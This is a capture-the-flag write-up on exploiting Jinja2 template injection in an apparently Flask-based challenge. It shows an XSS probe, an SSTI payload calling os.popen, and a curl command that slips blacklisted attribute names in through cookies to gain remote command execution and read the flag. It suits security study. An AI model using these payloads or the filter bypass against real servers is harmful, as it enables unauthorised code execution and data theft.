Even though this chall has numerous solves, the solution is actually pretty difficult. Here's how I arrived at it.

Step 1: Initial reccon

We only have a text box, and no source code to look at. After a quick **<script>alert('XSS')</script>** we can see the page is XSS vulnerable, but it doesn't seem like it helps. However, pages that are vulnerable to XSS may be vulnerable to SSTI.

After a quick **curl –i** we can see the website is built in python, so we can assume Jinja2 is present if there is SSTI. **{{7*7}}** outputs 49, so we have to exploit an SSTI vulnerability knowing the website uses Jinja2 (it may also use something like twig from what I found out online, but my assumption was never proven wrong, or it never mattered anyway)

Step 2: The Blacklist

Naturally, the next step is to attempt to use a payload from https://github.com/payloadbox/ssti-payloads to get some RCE on the server. The payload I selected is also one of the simpler ones:

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

This payload effectively executes a simple python code that executes ls.

After sending it to the server, we get…. **Try Harder! Blacklist #2**

So, we need to bypass a blacklist we don't know. After trying out a few other payloads, I understand I need to try to use something else. I also experimented more with the blacklist and understand that **[]().'"** are not blacklisted, while most other stuff is. As a result, I decided to try to send the "blacklisted" characters as GET parameters instead.

Step 3: request

Since the application is probably flask, we can try to use **request.args** to replace the blacklisted stuff. For example:

something[request.args.a] where there is a parameter named **a** with the value **__class__** is equivalent to **something.__class__**

However, after attempting to use this, we get **Try Harder! Blacklist #22! You getting there ;)**

Turns out, the arguments are also checked for blacklists. However, cookies are not! So we are going to use **request.cookies** instead, and send the values we replace as cookies instead.

Step 4: RCE

Coming back to the payload used at step 2, we need to replace __class__, __init__, __globals__ and popen, since these are blacklisted (figured out after testing things at some point). I also decided to replace ls (or the command we use) for the sake of simplicity when using other commands later on.

As a result, the command uses is as follows:

curl -GET "http://34.89.171.2:30105/" --data-urlencode "content={{config[request.cookies['a']][request.cookies['b']][request.cookies['c']]['os'][request.cookies['d']](request.cookies['cmd']).read()}}" --cookie "a=__class__; b=__init__; c=__globals__; d=popen; cmd=ls -lah"

A quick breakdown of the command:

- curl –GET is used to make sure we are performing a GET request
- --data-urlencode is used to send the content as parameter. It could also be send in the url, but curl had trouble understanding it for some reason so I used it like this instead
- There is no . between request.cookies as there is no need to, refer to step 3
- We could have used more replacements, but this was all that was needed.

Using this payload, we gain the ability to use commands on the server. Since the flag is in the current directory, we simply need to use **cmd=cat flag** to get it.

Made with love by: AndreiCat